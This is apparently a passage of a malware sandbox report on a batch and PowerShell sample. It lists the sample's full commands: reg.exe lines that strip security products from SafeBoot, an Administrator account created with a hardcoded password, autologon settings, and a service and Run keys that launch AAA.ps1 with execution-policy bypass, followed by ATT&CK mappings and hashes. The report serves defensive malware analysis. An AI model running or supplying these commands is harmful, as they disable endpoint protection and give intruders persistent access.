  reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\sepWscSvc /f
  2⤵
  - Modifies registry key
  PID:3028
- C:\Windows\system32\reg.exe
  reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\MBEndpointAgent /f
  2⤵
  - Modifies registry key
  PID:3808
- C:\Windows\system32\reg.exe
  reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CylanceSvc /f
  2⤵
  - Modifies registry key
  PID:4960
- C:\Windows\system32\reg.exe
  reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\MBAMService /f
  2⤵
  - Modifies registry key
  PID:800
- C:\Windows\system32\reg.exe
  reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SepMasterService /f
  2⤵
  - Modifies registry key
  PID:4584
- C:\Windows\system32\reg.exe
  reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CbDefense /f
  2⤵
  - Modifies registry key
  PID:1096
- C:\Windows\system32\reg.exe
  reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CbDefenseWSC /f
  2⤵
  - Modifies registry key
  PID:2016
- C:\Windows\system32\reg.exe
  reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPProtectedService /f
  2⤵
  - Modifies registry key
  PID:2304
- C:\Windows\system32\reg.exe
  reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\epredline /f
  2⤵
  - Modifies registry key
  PID:1276
- C:\Windows\system32\reg.exe
  reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPSecurityService /f
  2⤵
  - Modifies registry key
  PID:1584
- C:\Windows\system32\reg.exe
  reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPUpdateService /f
  2⤵
  - Modifies registry key
  PID:928
- C:\Windows\system32\reg.exe
  reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPIntegrationService /f
  2⤵
  - Modifies registry key
  PID:736
- C:\Windows\system32\reg.exe
  reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\TmCCSF /f
  2⤵
  - Modifies registry key
  PID:5088
- C:\Windows\system32\reg.exe
  reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\TmWSCSvc /f
  2⤵
  - Modifies registry key
  PID:2164
- C:\Windows\system32\reg.exe
  reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDeskMSI /f
  2⤵
  - Modifies registry key
  PID:1384
- C:\Windows\system32\reg.exe
  reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDeskMSI /t REG_SZ /d Service /f
  2⤵
  - Modifies registry key
  PID:1828
- C:\Windows\system32\reg.exe
  reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDesk /f
  2⤵
  - Modifies registry key
  PID:184
- C:\Windows\system32\reg.exe
  reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDesk /t REG_SZ /d Service /f
  2⤵
  - Modifies registry key
  PID:2768
- C:\Windows\system32\reg.exe
  reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\tvnserver /f
  2⤵
  - Modifies registry key
  PID:1892
- C:\Windows\system32\reg.exe
  reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\tvnserver /t REG_SZ /d Service /f
  2⤵
  - Modifies registry key
  PID:4284
- C:\Windows\system32\reg.exe
  reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ekrnEpfwFF /f
  2⤵
  - Modifies registry key
  PID:4668
- C:\Windows\system32\reg.exe
  reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ekrnEpfwFF /t REG_SZ /d Service /f
  2⤵
  - Modifies registry key
  PID:4344
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d Administrator /f
  2⤵
  PID:4572
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /t REG_SZ /d Password123! /f
  2⤵
  PID:4804
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_SZ /d 1 /f
  2⤵
  PID:2112
- C:\Windows\system32\sc.exe
  sc create ekrnEpfwFF binpath= "cmd /c powershell -exec bypass -w 1 -file c:\programdata\AAA.ps1" start= auto type= own type= interact
  2⤵
  - Launches sc.exe
  PID:2088
- C:\Windows\system32\net.exe
  net user Administrator Password123! /add
  2⤵
  PID:1696
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user Administrator Password123! /add
    3⤵
    PID:4628
- C:\Windows\system32\net.exe
  net localgroup ╨É╨┤╨╝╨╕╨╜╨╕╤ü╤é╤Ç╨░╤é╨╛╤Ç╤ï Administrator /add
  2⤵
  PID:4664
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup ╨É╨┤╨╝╨╕╨╜╨╕╤ü╤é╤Ç╨░╤é╨╛╤Ç╤ï Administrator /add
    3⤵
    PID:1920
- C:\Windows\system32\net.exe
  net user Administrator Password123!
  2⤵
  PID:4888
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user Administrator Password123!
    3⤵
    PID:864
- C:\Windows\system32\net.exe
  net user Administrator /Active:Y
  2⤵
  PID:2984
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user Administrator /Active:Y
    3⤵
    PID:4404
- C:\Windows\system32\reg.exe
  reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v *a /t REG_SZ /d "cmd.exe /c powershell -exec bypass -w 1 -file c:\programdata\AAA.ps1& bcdedit /deletevalue {default} safeboot& shutdown -r -t 0" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:880
- C:\Windows\system32\reg.exe
  reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v *a /t REG_SZ /d "cmd.exe /c powershell -exec bypass -w 1 -file c:\programdata\AAA.ps1& bcdedit /deletevalue {default} safeboot& shutdown -r -t 0" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4776
- C:\Windows\system32\shutdown.exe
  shutdown /r /f /t 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2204
- C:\Windows\system32\shutdown.exe
  shutdown /r /f /t 0
  2⤵
  PID:392

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa392d855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:1536

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding
1⤵
PID:4956

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

New Service

T1050

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

New Service

T1050

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db

Filesize
28KB

MD5
37317d5e31ff4ce8a42e04ef3cb333c2

SHA1
2eb13b083e787e232bf04c21467a7ca93aa97880

SHA256
57a2de29a53011f56e5fbe404a213895241c03c6154c9fe565daec14ae324857

SHA512
cd876c8132df9f6759d382ef360759497fa5e9bb7b3e7fcb28b791d77edb16fcc0f9045df798de79969337a29a73ce5ec5970e87a761457994ba6f5fc0b99d79

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2rhehkh1.ayn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\Desktop\win_11 (1)\1.bat

Filesize
4KB

MD5
bee9d958a37b5dc12988aee82cd9d6e9

SHA1
4baec12524a5af1e2a1e696933108e93cf95576a

SHA256
73ad30fa2636cb28d10471c571dc33b9f9d129398c6878223a75c5daa09078ef

SHA512
333192559aeeed0eeef98f104ef4817a1dc2c815c94bd4371389885129bcd0d8bb2ddf86d65d79b095d9bbcbc9360d95f2db130d03ee626d440f68e48d65bc84

Download Submit
C:\Users\Admin\Desktop\win_11 (1)\AAA.ps1

Filesize
1.2MB

MD5
2c366731eae3ca43c8285cbc3c6d0275

SHA1
87c1aff3521300e522dc66be7eb7dcae115382c3

SHA256
5cb41a3f9bd84f6d66e88f19c13ddd2b69df8195a2161bbade77d49571cbaae6

SHA512
105e71680c5fe0e2d621abfc02d029b732c04e40262c28ec34e3d80d3ea19b22e3685a3323bdad8b5d093c3265a56203cddd3395bf005c59502499435101c5f0

Download Submit
memory/2760-155-0x00000188754A0000-0x00000188754B0000-memory.dmp

Filesize
64KB

Download
memory/2760-175-0x0000018875DB0000-0x0000018875DB8000-memory.dmp

Filesize
32KB

Download
memory/2760-156-0x0000018876EE0000-0x0000018876EEE000-memory.dmp

Filesize
56KB

Download
memory/2760-157-0x0000018876F80000-0x0000018876FB8000-memory.dmp

Filesize
224KB

Download
memory/2760-162-0x0000018876F10000-0x0000018876F18000-memory.dmp

Filesize
32KB

Download
memory/2760-153-0x0000018876F30000-0x0000018876F7A000-memory.dmp

Filesize
296KB

Download
memory/2760-172-0x00000188772E0000-0x0000018877302000-memory.dmp

Filesize
136KB

Download
memory/2760-173-0x00000188754A0000-0x00000188754B0000-memory.dmp

Filesize
64KB

Download
memory/2760-174-0x00000188754A0000-0x00000188754B0000-memory.dmp

Filesize
64KB

Download
memory/2760-154-0x00000188754A0000-0x00000188754B0000-memory.dmp

Filesize
64KB

Download
memory/2760-176-0x0000018875DC0000-0x0000018875DC8000-memory.dmp

Filesize
32KB

Download
memory/2760-152-0x0000018872F60000-0x0000018872F98000-memory.dmp

Filesize
224KB

Download
memory/2760-178-0x0000018876020000-0x0000018876028000-memory.dmp

Filesize
32KB

Download
memory/2760-179-0x0000018876080000-0x00000188760A6000-memory.dmp

Filesize
152KB

Download
memory/2760-180-0x00000188754A0000-0x00000188754B0000-memory.dmp

Filesize
64KB

Download
memory/2760-181-0x00000188754A0000-0x00000188754B0000-memory.dmp

Filesize
64KB

Download
memory/2760-182-0x00000188754A0000-0x00000188754B0000-memory.dmp

Filesize
64KB

Download
memory/2760-183-0x00000188754A0000-0x00000188754B0000-memory.dmp

Filesize
64KB

Download

Resubmissions

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads